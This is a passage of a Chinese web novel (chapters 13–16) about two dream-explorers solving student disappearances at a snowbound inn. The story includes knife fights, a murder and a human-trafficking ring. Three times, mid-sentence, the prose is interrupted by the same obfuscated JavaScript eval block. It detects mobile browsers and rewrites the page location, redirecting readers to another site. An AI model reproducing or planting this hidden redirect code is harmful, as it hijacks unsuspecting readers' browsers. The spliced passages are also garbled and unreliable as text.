她这位前男友，就跟得道高僧似的，两人交往的时候都怕毁了自己的金身，禁欲得像个圣人，她怕个毛。 搞不好两人单独共处一室的时候，害怕的是周辰呢。 纪璇放下小熊布偶，取下蓝佩洁留下的羊绒大衣开始检查。 最后在衣袖的内侧，发现了一点血迹。 “其实我都快不记得蓝佩洁这个人了，现在回忆起来，最初她也并不讨厌我的。”她将大衣重新挂好，像是对周辰说，也像是说给自己听，“她一直坐在我前桌，刚上高一的时候，她时常会带零食分给大家，但我从来没收过，因为收下之后，我没有钱买零食回礼，后来她也不再给我了。” 周辰了然，他进深海系统之前，行动组用最快速度搜集了纪璇的资料，上面显示她单亲家庭长大，全靠母亲一人抚养，虽然母亲有稳定的收入来源，纪璇本人也十分争气，几乎年年都拿奖学金补贴家里，但母女俩的日子过得仍然有些拮据，似乎一直在还外债。 13. 消失的房客（八） 纪璇一边整理桌子上的文具，一边继续说着：“不过我并不后悔，为了能上A大，我高中的目的不是交朋友，而是学习。” 周辰状似不经意地问：“为什么一定是A大？” 纪璇抬起头，自分手后，第一次向周辰露出一个真心的笑容：“这是秘密哦。” 周辰觉得有点可惜：“不能交换一下吗？” “我觉得你不适合玩这种女孩子之间的小游戏，而且我也不适合，我不是个很好相处的人。”她用手指轻轻揉小熊的耳朵，“萨特写过一句台词，他人即地狱——有时候孤独反而是最好的保护，试想，如果当初在图书馆，你向我借那本《纳什均衡博弈论》的时候，我没有回答，又或者说，你后来出现在实验楼下的时候，我没有给你电话号码，大概我就不会在梦里疲于奔命了吧？” 周辰眉头渐渐锁紧，他正想反驳，纪璇便打断了他。 “对了，接下来可能要靠你了。” “嗯？” “我是个运动废渣，从小到大的体育考试都得靠老师的一念之仁，这一次我不想变成外套上的一抹血，所以……哎？你会保护我的吧？” 周辰弯下腰，行了一个很标准的绅士礼。 “当然，为你而战，我的女士。” 当纪璇和周辰走出312房间，就发现三楼的走廊气氛异常。 原本还在三楼的学生和老师已经离开了，楼梯口的地方聚集了五名男生，堵住了唯一的出口。 排在第一位应该就是许文洋。 “纪同学，我们现在怀疑，蓝佩洁的失踪跟你和你身后的男人有关。”他痞痞地侧着头，身上浮起青春期男生的凶性，指着两人问后面的跟班们，“你们说，怎么看他们两个都不对劲是吧？才认识不到一天，就开始形影不离了？纪同学，我该说你勾搭男人的技术高超，还是说这座旅馆的失踪案，就是你一手策划的阴谋呢？” 许文洋袖口微动，从里面滑出一把细长的尖刀。 恍惚间，《梅菲斯特圆舞曲》又响起在她耳边，而眼前正象征着某种地狱。 学生未必是纯洁的，学校未必就是安全的，看上去对你好的人，未必就发自内心，而对你满怀恶意的人，更不会心慈手软。 这就是世界的另一面。 纪璇后退一步，毫不犹豫地缩到周辰身后。 嗯……她真的是有心无力。 没办法，从小她就喜欢宅在家里看书，后来沉迷学习无法自拔，几乎占用了她全部时间，于是一到运动就要了命了。 一定是大地母亲太爱我了，不忍心让我离开她片刻。 如果可能，纪璇也不想让周辰帮忙，无奈这个旅馆实在太小，之前的迷宫虽然也不大，但岔路非常多，只要计算好路线，她好歹还能逃跑，如今在这个封闭的旅馆里，恐怕走不了两步，就会被人抓到。 简直就像专门为了不让她逃跑，而用来困住她的牢笼一样。 纪璇为周辰呐喊助威：“靠你了。” 去吧，皮卡丘！ 她看着周辰冲了上去，然后感觉自己好像养了一只无比凶残的宠物小精灵。 本是凶险的白刃战，结果周辰只用了一秒就夺了许文洋的匕首，左手一转，完全看不清动作，只听见许文洋一声凄厉的惨嚎，一条胳膊软软垂下，直接被卸了肩关节！ 周辰动作如行云流水，连贯不停，旋身飞起一脚，把旁边一个男生直接踹下了楼梯，又拎起下一个男生的衣领…… 男生们都吓傻了。 见过打架的，但没见过这么专业的，不，眼前的男人其实已经脱离了打架范畴，完全是在碾压对手，他没有任何一步多余的动作，制服一个人最多只用两招，时间不超过三秒。 所有人都升起一种感觉，只要他想，顺手杀了他们也是轻而易举的事。 转眼间，由许文洋集结起来的小团伙没一个人还能站着。 周辰扶了下微微下滑的眼镜，对付这些人，连气息都没有任何波动。 他重新回到纪璇身边，低头看她：“有什么想问的吗？” “有。”纪璇一直在想蓝佩洁袖口上的血迹，既然她醒过来的时候衣服还挂在312房间里，就证明蓝佩洁是在穿着衣服的时候发生流血的，那她为什么不求救，反而在不惊动任何人的情况下，回到房间脱下大衣？ 除非她不想求救，或者不需要求救。 那么……那上面的血，究竟是谁的呢？ 纪璇很谨慎，她站在原地，抱着小熊布偶，目光淡漠地看着许文洋，问道：“你们对蓝佩洁出手过吗？” 许文洋死死抓着脱位的胳膊，咬着牙硬撑着：“……老子什么都不会说的！” 纪璇皱着眉：“你确定？其实我心肠不算太好，尤其是对你这种试图对同学行凶的人，如果不是有人保护我，那么现在惨叫的人应该会变成我吧？所以我不会同情你，”她转头看向周辰，神色有些纠结，手指卷着发尾，“流血会弄脏地板，能不能拜托你把他另外一边肩膀也卸掉？” 周辰一边慢慢地向许文洋走过去，一边提醒：“他可能会疼得说不出话来。” “没事，我还可以问下一个。” “好。” 许文洋破口大骂：“你到底是不是女生！你怎么这样歹毒？” 纪璇：“不敢当，起码我没动刀子，比你女神差远了。” 许文洋一顿，他也只是个高中生，做坏事也不是不心虚的。他当然知道自己的行为不对，可如果是为了高贵的爱情，一切作恶都有了另一种解释。 ——她只是太任性了，从小没吃过亏，这一次她一定很难受才会变成这样的。 ——我这么喜欢她，如果我不帮她，还有谁来宠她呢？ ——她好不容易向我提了一次要求，作为男人根本无法拒绝。 事到如今他深陷恐惧，想把向柔供出来的时候，同样会继续美化自己的行为。 ——这样做是不对的，如果继续纵容她，其实才是害了她。 ——我已经尽力了，也没必要为了一件本就见不得人的事坚持下去。 ——弟兄们是信任我才跟我一起过来的，我受了伤不要紧，他们受了伤就太过意不去了。 许文洋的脸上青白交加，心里变换了无数个念头，最终求饶：“别过来！我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379968|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说！” 纪璇低头凑到小熊布偶的耳朵边，轻声说：“嘟嘟，你看，所有人都不过是地狱而已。” 脆弱的关系，容易背叛的感情，欢声笑语的时候是天堂，一旦涉及切身利益的时候才知道是地狱。 在刘义达听到打斗声，赶到三楼前，许文洋交代了之前发生的事。 总的来说，跟他们听到猜到的真相差不多，向柔想要给纪璇一个教训，让她受点小伤不能见人，如果要是划花了脸就更好了。 “她不是学霸吗？学习好就行了，用不着长那么漂亮，我这可是在帮她专心学习。” 而这也不是许文洋第一次出手。 因为纪璇身边有周辰在，他才叫了几个朋友帮忙，之前的那一次，他是自己行动，正是对蓝佩洁。 向柔还是如今天一样找上许文洋，她双臂搂着他的脖子，娇嗔地说道：“听说蓝佩洁钢琴也弹得很好，最近似乎准备考级，想找韩老师帮忙补习……哎呀真是的，学琴的哪个没有自己的老师，干什么非要往别人身上凑呢？” 许文洋：“我想知道，你什么时候才会放弃韩老师，跟我在一起？” 向柔敷衍：“毕业吧，毕业以后看不到他，大概就腻了。” “好吧，你想怎么对蓝同学？” “让她考不成级，当然就不会觊觎不属于她的东西了。”向柔看着自己修长的手指，语气轻快。 没想到的是，许文洋的行动失败了，有人出现救走了蓝佩洁。 “……太黑了，只能看清是个男人，我好像划伤了他。” 这大概能解释蓝佩洁衣袖上的血迹了，那不是她的，而是那个男人的。 刘义达上来之后万分震惊，犹如看到了凶案现场，他的脸涨得通红，扶着楼梯扶手愣是缓了好几口气才缓过来。 蓄积了足够怒气值的年级组长大吼一声：“你们这是要干什么！” 当时纪璇感觉整个旅馆都震了一震。 回到一楼食堂，周辰帮许文洋接好了胳膊，刘义达开始质问向柔。 “大家都是同学，现在还是在外地，大雪封路连医院都去不了，你怎么能让许文洋这么做？居然还用刀子胁迫同学！” 向柔哭得梨花带雨：“刘老师，我没有，我怎么可能做这种事？我只是跟许文洋同学抱怨了几句，我只是替蓝佩洁同学担心啊！我承认自己有一点偏激，一直对纪同学有所怀疑，但无论如何我都做不出害人的事！” 许文洋低着头默不作声，对自己的行为并不辩解，但也不否认向柔的说法。 这助长了向柔的气焰，她用手背擦着眼泪：“刘老师这么说的话，真是让我无地自容了，我现在就出去找警察自证清白，不然以后回了学校，我还怎么做人！” 她说完就朝旅店大门冲过去，两只手拉起锁着大门的铁链，拽得上面的铁索叮咣作响，大声喊道：“旅店老板在不在？拿钥匙出来，我要出去！是生是死不用你们负责！” 大家也跟着一窝蜂地冲了出来，袁笛和文若曦赶紧拉住向柔，嘴里不住地安慰。 向柔哭哭啼啼，闹成一团。 纪璇冷冷看着这一切。 14. 消失的房客（九） 明明知道这是梦，可是身处梦境的时候，还是会忍不住把一切都当真，把感情投射其中。 大概因为人都是感官动物吧。 我思故我在，我见即我心。 如果不是赖以生存的身体还在外面睡觉，现实中也有很重要的事等待她去完成，这个梦境世界几乎与现实世界没什么分别。 梦境里有梦魇，现实中也一样有一重接一重的难关。 这个梦让她很不舒服。 身后突然传来轻微的脚步声，男人的气息慢慢接近她，即便不回头，她也知道那是韩隽峰。 他走到她身后，语气悲悯地说：“就算是暴风雪，也不会比这些更让人难受了。” 不知道为什么，每次韩隽峰靠近她，都会让人觉得周身一凉。 纪璇回道：“韩老师，你是想让我跟你一起去追寻外面的钢琴声，对吗？” 他似乎笑了下，接着说：“这个提议不错，毕竟不是所有人都能听到如此美妙的琴声。” “那我岂不是会像蓝佩洁和管莹莹一样消失？” 韩隽峰滴水不漏：“纪同学是在试探我吗？我只是个醉心钢琴的音乐老师，可不是什么杀人狂。不过话说回来，就算是恶魔，对人类也是晓之以理、动之以情，给予适量的诱惑已足够他们泥足深陷，暴力并不是最好的手段。” 脱胎于《浮士德》的梅菲斯特是个相当哲学的恶魔，同时也是个脱离了低级趣味的恶魔，更是辩证法上的恶魔。 纪璇：“……”行吧，您还嫌弃杀人狂没有技术含量是吧？ 她是想试探韩隽峰，而且已经有了一些猜想，但怀里的嘟嘟不让她离开旅馆，那么，就暂时先看看情况吧。 因为比起韩隽峰，她更在意周辰的不对劲，好像从进入这个梦境开始，她隐隐能感受到周辰身上的气息变化，之前平静的时候她还意识不到这一点，直到周辰的气息渐渐变得躁动。 是从那个突然暴露的秘密开始的？不，应该更早，不知道他发现了什么，在那之前，他们只去了旅馆的地下一层，遇到了老板娘而已。 她没兴趣继续看向柔飚演技，也不想去跟梦里的人较真，老师们从来都喜欢和稀泥，就算向柔承认了这件事，在没对她造成实质性伤害前，都会是“学生之间的小摩擦”，顶多让家长赔给她一些补偿。 她转身打了一个呵欠，往食堂走去。 很快到了夜晚，学生们一个挨一个地挤成了小圈，每个人都记住身边人，互相保护同时也互相监督，一旦有人需要离开食堂，至少有四个人加上一名老师同行。 纪璇把所有卷子都做了一遍，然后被刘义达叫过去讨论了一会，联手给学生们出了三套数学卷子，目测今晚他们最希望失踪的人员名单上，她一定排第一个。 连自己出的题都做完后，她抬起头，才发现身边的周辰竟然一直呆坐着，似乎沉浸在自己的思绪里，完全没有防备的样子。 “你很无聊吗？”她突然问他。 被打断的周辰眼眸中瞬间聚集起戾气，然而一看到纪璇的时候，又迅速地收了回去。 “没什么，想起些从前的事。” “是跟那个秘密有关的事吗？” 周辰摸了摸下巴，他眼睛瞄到纪璇身前的卷子，一把抽了过来。 “这是物理卷子？里面有道大题我以前好像见过，当初还解了很久，嗯，现在还记得思路……”他拿起放在一边的笔刷刷刷地写来。 纪璇：“……” 原来你还真的喜欢做卷子啊？ 看着周辰一副沉迷卷子，避开话题的样子，纪璇也没继续追问下去。 她解开头发，松了松头皮，把脸埋进小熊布偶那软乎乎的肚皮里，闭上了眼睛。 没一会儿，纪璇就沉沉睡去。 周辰手上的笔停了下来，他打量着这只突然出现的小熊布偶，总觉得有一种不舒服的感觉。 太突兀了。 除非这只小熊布偶对纪璇的意义十分重大，否则不应该出现在这种满是危机的梦境中，因为人们对童年玩具的认知一般不会提升到保护者的角度，这只小熊布偶出现后，很明显成为纪璇目前的情感寄托，这对他来说非常不利。 就好像是在刻意阻拦他接近纪璇。 棘手的是，周辰不能对小熊布偶做什么，好不容易才能跟在纪璇身边一起行动，绝对不能触碰她的心理禁区。 毕竟这一次的任务，就是稳定纪璇的心理状态。 周辰今夜不准备睡觉了，他做了一会卷子，点开手机里的游戏开始玩数独，解了数独又点开单机游戏玩了几局。 刘义达安排了值夜的学生和老师，上半夜是袁笛，下半夜是韩隽峰，各自带着三名学生轮值。 袁笛职业的时候，有个女生想去卫生间，在值的学生不能离开，于是她又叫醒了三个学生，正准备带着他们一起离开食堂。 周辰看了一眼，两个女生、两个男生、一名老师，足足五个人，但仍不能叫人放心。 他走不开，因为纪璇在这里。 “袁老师，”他站起来叫住袁笛，从裤袋里掏出一个只有拇指大小的金属罐，“这是袖珍型催泪瓦斯，带上防身吧。” 可怜袁老师从小长在和平世界，别说使用了，连见都没见过，拿在手里愣是找不到开关。周辰稍微演示了一下，她才郑重道谢之后收了起来。 周辰又重新坐回去，他看了一眼纪璇，不同于往日的单马尾造型，将长发披散下来的纪璇看上去非常柔和无害，纤细的下巴让她多了一种楚楚的韵味。 20岁的姑娘，正跨越在少女和女人之间，半是青涩半是成熟，别样的迷人。 但周辰真就只看了一眼，便平静地收回了目光，无波无澜地点开了手机里的文档，开始看专业课的资料。 他自己心里很清楚，像纪璇这样的人，看着冷，其实心里一腔火热，他却恰好相反，尤其对男女之情。 对周辰来说，没能在最容易动情的青春期品尝到爱情滋味，成年之后更难对人动心，女性的美貌、才华、家世、性情、纯善……对他来说并不稀罕，甚至唾手可得，偶尔也会遇到一些别有用心的诱惑，但在他眼中都很无聊。 他不会被任何人征服，也没考虑过去征服某个人。 从小受到的教育使然，在风云潮涌中逐浪，在生死边缘建功立业，才能唤醒他的征服欲。 如果没有意外，经历过血与火的洗礼后，等待他的将是一个无限光明的未来。 当然，现在一切都不同了。 没人知道，这骄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379969|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傲锦绣的皮囊下藏着的是什么。 不去管周围女生对他小心的打量，在纪璇睡着之后，他似乎变成了一台失去了目标的机器，带着无机质的冷感。 这种淡漠并不是出自歧视，而是更残酷的无视。 即便是在灯光下，他却仍然像在深渊中一般，暗到足以吞噬自己。 无法抵抗，他又想起了一年前发生的事。 100%同步率后，深海系统不仅让他和纪璇联系更紧密，还将他的一部分记忆也带进了梦境。 脏乱的贫民窟，昏沉的街道，血红色的天空……有人走过来，粗暴地拎起他的衣领，拖着这具满是血痕的身体往前走。 他的食指下意识地做出扣动扳机的手势，想端枪，想握拳，想拿刀，想攻击，想战斗！ 可他最终在那条粗粝的路上，被人越拖越远。 坚硬的石子磨着脊背上的伤口，他意识模糊，视线无法集中，耳边一片嗡鸣，只能隐隐约约地听到那个人说—— “还剩一个，嘿，最后一个。” “救命啊！”尖叫声刺穿了所有人的耳膜。 距离袁笛带着四名学生出去大约只过了五分钟，食堂外出事了！ 周辰一下子站了起来，就这么短短一瞬间，他额头上渗出了冷汗，整个身体都处于紧绷状态，如上了膛的枪。 纪璇也睁开了眼睛，第一件事就是伸手摸睡前放在桌子上的皮筋，然后迷迷糊糊地看了一圈周围，立刻意识到有事发生。 值夜的学生急忙把睡着的人都叫了起来，大家一起出了食堂，在靠近卫生间的走廊里发现了两名男生和一名女生，都已经瘫软在地上，灯光映着斑驳的墙影，一片空荡荡。 周辰冷着脸率先进了卫生间，在洗漱池附近的地面上有一片触目惊心的血迹，而原本该在里面隔间的袁笛和另一名女生都不见了。 他送给袁笛的那罐袖珍型催泪瓦斯滚落在墙角，连保险都没来得及拉开。 刘义达着急地问三名学生：“怎么回事？里面发生什么了？袁老师她们是怎么不见的？” 一名男生脸色发白地道：“我们三个负责守在外面，老师带着许晓珊进去之后，没多久就传来奇怪的声音，好像、好像……”他一直紧张地吞咽口水，说不下去。 “好像是被捂住嘴的声音，”女生接着说下去，“我们想打开门进去查看，但是里面的门被反锁了，怎么敲门都不开。” 有人嘀咕：“这都什么时候了，上卫生间还锁门？” 女生含泪反驳：“袁老师没有锁，我们也不知道是什么时候锁上的，好在这里的锁还是那种很原始的插销，男生们一踹就踹开了，等我们进去的时候，袁老师和许晓珊已经不见了。” 旅馆的卫生间并不大，推门进去便是洗漱池，左侧是四个带门隔间。 周辰问：“你们进来前，检查了这些隔间了吗？” 那女生脸一白：“没有。” 他二话不说，直接从卫生间出来，经过纪璇身边的时候对她说：“保护好自己，不要离我太远。” 不等她回答，周辰如一阵旋风，向地下一层冲去。 纪璇清楚地看见了他眼神中的杀意。 即便之前梦境中面对那么多险境，都从未有过的杀意。 15. 消失的房客（十） 周辰觉得自己的血是凉的。 黑暗的楼梯，沉闷的地下，糜乱的声音和酒精、体味混合在一起的刺鼻气味。 似乎是他之前与纪璇一起来到的地下一层，又似乎不是，感官钝化迷幻。 他只知道，这里跟他记忆中的地方一模一样。 周辰径直向走廊尽头的那堵墙走过去，他按下眼镜上的呼叫开关：“解梦者申请C级武备。” 【C级武备无需审核，申请通过。】 周辰的右臂一挥，一支纯黑色突击□□现在手中——加长重型枪管的高配版MK715突击步枪，号称陆战之王。 周辰端起枪，瞬息间射出五发子弹，分别打在墙壁的承重点上，随后他伸腿一踹，墙壁震动，裂缝自中间向四周扩散！周辰掉转枪头，双手握着枪托砸了几下，墙灰纷纷掉落，露出里面既不是水泥也不是砖块的特殊材质。 他看上去并不意外，改为用肩膀去撞，几下后只听一声轰鸣。 随着墙体轰然倒塌，幽深的通道出现在他眼前。 周辰冲得又快又急，他的行动目标十分明确，众人都以为他有所发现，于是周辰身后还跟着一群好奇的尾巴。 刘义达带着学生们紧随其后往地下一层跑，纪璇还没反应过来就被人流冲到了一边。 她当然也想跟下去看一看周辰找到什么线索，但是没走几步就被人拦下。 向柔趁乱留了下来，她堵在地下一层的入口处，手里拿着的赫然是那把许文洋用过的凶器。 大概是怕惊到下面的老师和同学，向柔的语气放轻，却透着一股阴狠，狞笑着对纪璇说：“纪同学，现在你满意了，你又毁掉了一个人。” 纪璇看了看向柔的身板，再看了看自己。 向柔是标准的高挑丰满型，线条波浪起伏，穿低胸礼服能让一票男生燥到晚上流鼻血，体育方面也有不错的成绩，玩跳高的腿部肌肉都不错，踹一脚够她喝一壶的。 纪璇身高跟向柔差不多，却纤细单薄得多，因为伙食不太好，少女期的体态仍然保持下来，除了该发育的地方发育，其他基本没多几两肉。 真要动起手来，她基本处于食物链的底端，何况她也不愿意动手。 因为怕疼。 纪璇没有动，前进会让对方感觉到威胁，后退又太示弱，让对方迫不及待的动手。 “这个‘又’字用得好，请教一下，我都毁过谁？”她其实并没有兴趣知道，只是拖延下时间。 纪璇一边说，一边不露声色地观察周围是否有能帮她抵挡攻击的物品。 左边拐角处的高脚凳上摆放着陶制花瓶，斜后方是售卖崮岂山纪念品的橱柜，有两个吸引小孩子的变形金刚盒子，足够大。 向柔听到她的回答，怒气值立刻暴涨：“同学们说得对，你可真是眼睛都长到天上去了，觉得自己是学霸，有老师护着，所以谁都不在意是吧？你根本不知道XX为了上一次的全市榜样评选做了多少努力，可你听说了奖金数额之后立刻报了名，哈，全年级谁不知道以你的成绩，各种奖励奖金拿到手软，可你就是不肯留给别人一点余地，让XX的努力全都变成无用功，直接影响他高三升学，还不算毁人吗？” 纪璇不太懂这个逻辑：“所以呢？他比我弱他有理？我应该让他？” 向柔冷哼一声：“你还记得XXX吗，她就是被你挤下合唱团的可怜人，你会唱歌吗？别开玩笑了，你连声音都不敢出，不过就是仗着老师的偏爱而已！靠着别人的努力，你才拿到了合唱团的名次和课外学分，你不觉得可耻吗？” 纪璇还真不知道有这种事，她只以为是走个过场，自己也不在意学分和课外活动。 “老师让我去，我就去了，这没什么可耻的。对于这位同学来说，第一，她可以去找老师协调，第二，她应该立刻止损，选择另一个方向去争取学分。既眼馋合唱团的学分，又不找自己的原因，反而怪罪到我身上，恕我不能理解。” 向柔简直气得发抖：“好一朵白莲花啊，就是你这种姿态，才勾引男生喜欢你吧？你知道不知道——” “我不想知道，请闭嘴吧谢谢了。”纪璇真就忍不下去了，挨一顿揍都比受这份折磨来得痛快，“我觉得做个人首先要学会自己对自己负责，而不是让别人来为自己的结果负责，我对这些乱七八糟的事没兴趣，别打扰我学习好吗？” 向柔向前一步，被怠慢的感觉令她不爽到了极点，甚至连眼睛都开始泛红，她咬牙切齿地说：“那么，蓝佩洁的事你也不想知道吗？” 纪璇皱眉：“蓝佩洁？她跟我有什么关系？” “蓝佩洁为什么那么讨厌你呀？虽然你本来就让人讨厌，但突然关系变得恶劣，你就不觉得奇怪吗？”向柔脸上带着笑，刀尖已经朝向纪璇，慢慢又向前一步，“你啊，从来不曾关心过周围的人，高一的时候，你成绩太好，得罪了好几个班级干部，所以大家才孤立你，也就蓝佩洁那样的傻子，还肯把零食分给你吃。你毫不领情，她那个人大大咧咧也不在意，直到有一次，他们想在你考试的时候陷害你作弊，被她发现后，在开考前偷偷把放在你书桌里的卷子拿了出来，之后她被人左右开弓扇了二十个巴掌，脸肿成了猪头，上课的时候她低着头哭了那么久，仅仅是因为帮了你！那么你呢？你有关心过她吗？全班都知道蓝佩洁出了什么事，可你这个始作俑者，你知道那个就坐在你前面的女生，究竟为了什么而哭吗？不，你不知道，你压根就不在意，甚至根本不知道她在哭啊……纪璇，纪同学，看看你自己，你没有心，根本就是个冷血动物！” 纪璇眼神有些涣散，她抱紧怀里的小熊布偶，不知道为什么，心跟针扎一样疼，连呼吸都有些困难。 原来是这样啊，所以蓝佩洁才跟自己一个房间。 原来是这样啊，并不是她封闭了自己，有些事就不会发生，并不是她拒绝，就真的与世隔绝，并不是她不在意，就不会受伤！只要她还存在，就会与周围的人发生千丝万缕的关系。 那个时候，就算班级坐满了人，一个人哭着的蓝佩洁，也孤单到了极致吧？没事的，蓝同学之后就会知道，她所为之出头的那个人，她曾用心去保护的那个人，是个冷血动物。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15379970|168421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>不值得的。 怀里的嘟嘟突然动了动，毛茸茸的小爪子摸了摸她的脸，滑落到脸颊的液体被厚厚的布料吸了进去。 纪璇抬起头，她正想说什么，就见向柔不知道什么时候已经走到她身前，右手高举着匕首，大笑着向她刺了下去。 “去死吧！” 纪璇运动神经实在太糟糕了，在这种紧要关头几乎瘫痪，完全来不及躲避，她下意识地闭上眼睛。 但是预想中的疼痛并没有来临，向柔反而叫了起来：“这是什么东西？滚开！” 纪璇睁开双眼。 本该斜着向下刺向她胸口的匕首被小熊布偶拦了下来，与此同时，向柔背后出现了一团模糊的黑影。 韩隽峰冲了上来，从向柔背后挟持住她的脖子，另一只手握住了她拿着匕首的手腕。 向柔不甘被制住，她双腿乱踢，“放开我！” 韩隽峰出声制止她：“向柔同学！” 向柔一下子停下了挣扎，她像是被发现做坏事的小孩一样立刻扔掉了匕首，两手握住韩隽峰勒住自己脖子的手臂，慌忙解释道：“韩老师，这都是误会，我没想伤害纪同学的，我只是跟她开玩笑，吓唬吓唬她而已！” 韩隽峰轻声问：“你在开玩笑之前，有争得对方的同意吗？在你想当然之前，有想过别人的感受吗？”他说话的声音依然温和，但在这样的场景中反而显得诡异。 向柔急切地摇头：“韩老师，你听我解释，我是被陷害的……” 韩隽峰十分遗憾地打断了她：“下地狱吧，去跟那些同样喜欢跟人‘开玩笑’的人一起交流心得，试试刀尖的温度，也去尝一尝心碎的滋味吧。”他松开了手臂，将向柔往前一推，“你亵渎了我教给你的钢琴曲。” 向柔踉踉跄跄地向前两步，她目光诧然，似乎还反应不过来自己爱慕的老师所说的话到底是什么意思，心脏处就感觉到了一阵绞痛。 纪璇看着从向柔胸前刺出的刀尖，死死捂住了嘴。 “老师……韩老师……”向柔刚开口，便咯出一大口血，她想回头，却控制不了自己身体向前倒去，她目光直直地看着前方，眼角流出最后的泪水，“我、我练好的曲子……还想弹给你……听……” 《梅菲斯特圆舞曲》，恶魔在琴键上跳舞，灵魂禁锢，不得救赎。 韩隽峰掏出手帕，擦干手上的血迹，他抬起头，发现纪璇已经不见了。 韩隽峰和向柔的尸体都在地下一层的入口处，纪璇抱住嘟嘟，拼命地向楼上跑去。 她扶着楼梯扶手，半是支撑自己半是借力。 不是没有在梦里见过杀人，那些全都没有这一次震撼。 她的老师，她的同学……他们的模样渐渐扭曲，不是怪物，却比怪物更可怕。 小熊布偶被匕首刺穿，肚子里的棉絮都跑了出来。 纪璇低声安抚它：“嘟嘟不怕，我们回家，我们去坏人进不来的地方！” 好不容易到了三楼，她也不知道韩隽峰有没有追上来，只管往前跑，也不记得是哪个房间，她胡乱推开一扇门。 16. 消失的房客（十一） 地下通道阴暗潮湿，里面有人在说话。 “王哥，别打了，货快送走了，要是伤了脸就卖不上好价钱了。”瘦弱的男助理小声劝着。 “臭丫头，叫你咬我！到了老子手上，你以为自己还是学生呐？不识趣的玩意！”厨师王哥狠狠啐了一口。 “王哥，她都好几天不吃饭了，不会有事吧？” 王哥挑眉看了眼男助理，“怎么着？因为救过她，所以起了怜香惜玉的心了？哈哈哈，多大点事儿，你跟她睡一觉，到手之后就没那么馋了，”他笑着拍了拍男助理的肩膀，“我说你小子怎么一直拦着我，想自己来，是吧？” 男助理唯唯诺诺，他搓着手，小心翼翼地说：“我可不敢，听说原装的能卖更多钱，我哪有王哥这样的老资格，就连老板都得让您三分，您想睡个原装还不就是一句话的事儿。” “瞧你这出息！”王哥大笑着骂他，“等暴风雪停了，这批货就能出手，不着急做下一单，做咱们这行得讲究点节奏，不然容易招麻烦，到时候老子带你去大城市开开眼。” “谢谢，谢谢王哥！” 王哥走后，男助理从裤袋里掏出一个没开封的小蛋糕，他递给抱着膝盖坐在角落里的蓝佩洁，她眉目清秀，长发披肩，只是额角正在流血，脸颊一片青紫。管莹莹紧紧靠在她身边，脸上全是惧怕，连哭都不敢出声，只能咬着自己的手。 另一边是刚刚运下来的袁笛和许晓珊，她们还在昏迷中。 蓝佩洁接过蛋糕，拿在手里掂量了下，然后朝着男助理用力扔过去。 男助理没躲，蛋糕打在他胸口，又被他伸手接住。 “吃点吧，在这里好歹还有像样的吃的，出去以后就不一定了。”男助理轻声说。 “滚！你滚！” “别这么说，你不该骂我的。”男助理蹲下身，静静地看着蓝佩洁，“你的同学想伤害你吧？是我救了你一命，也是你主动提出要给我包扎伤口，那时候你着急回房间取创可贴，连大衣都没来得及穿上就跑出来，还带我去卫生间冲洗伤口，你看你，实在太好骗了，自己把自己送到了暗道旁边……啊，对了，我其实也是第一次自己做这事，你不知道吧，像你这样的学生很值钱的，把你带到这里来，我家里的房子就有了。” 蓝佩洁闭上眼睛，她不想面对自己的愚蠢，恨不得一头撞死，但这些禽兽不会让她死的，撞了一次头之后，他们就把她双手捆起来，拴在铁栏杆上。 男助理向她伸出手，半路又缩了回去。 “我不会碰你的，我是个有原则的人，”他反复强调，“我只是为了房子才跟王哥做买卖，在老家，没房子就娶不上媳妇，彩礼也不够，我娘都要哭瞎了，她就盼着有一个孙子，我不想让她失望。” 蓝佩洁扭过头，她强忍着没吐出来：“你真恶心！” “对，我恶心，可我也护着你了，”男助理撕开蛋糕的包装袋，取出里面橙黄色的小蛋糕，一口口吃下去，甜腻的味道让人产生了别样的念头，他忍不住再次伸出手，“我不碰你，但是你也得用别的方式报答我。” 男助理的呼吸逐渐沉重起来，他的手将要碰到蓝佩洁肩膀的时候，突然停住了。 安静的地下室里传来了巨大的声响，同时，男助理的额头上出现一个弹孔，血喷溅出来，他直直向旁边倒去。 蓝佩洁和管莹莹一起发出了尖叫声。 周辰破开暗道的声音惊天动地，却又好像谁都没有吵到，当纪璇不在场的时候，梦境的逻辑没有那么严密，他的意识取得了更高的主权。 他听到了那段记忆里的对话，只不过对象并不是蓝佩洁和男助理，确切地说，在他跟纪璇第一次来地下一层之前，他都以为这件事与自己无关，房客的失踪只是一个普通的推理案件。 直到他看到了老板娘那张脸。 那不该出现在纪璇的梦境中，那是他记忆中的人——跨国拐卖人口案件的国际中转站负责人之一，在那间夫妻店里，不知道有多少无辜的年轻女孩在此间转手，运往永远也看不到家乡的地方。 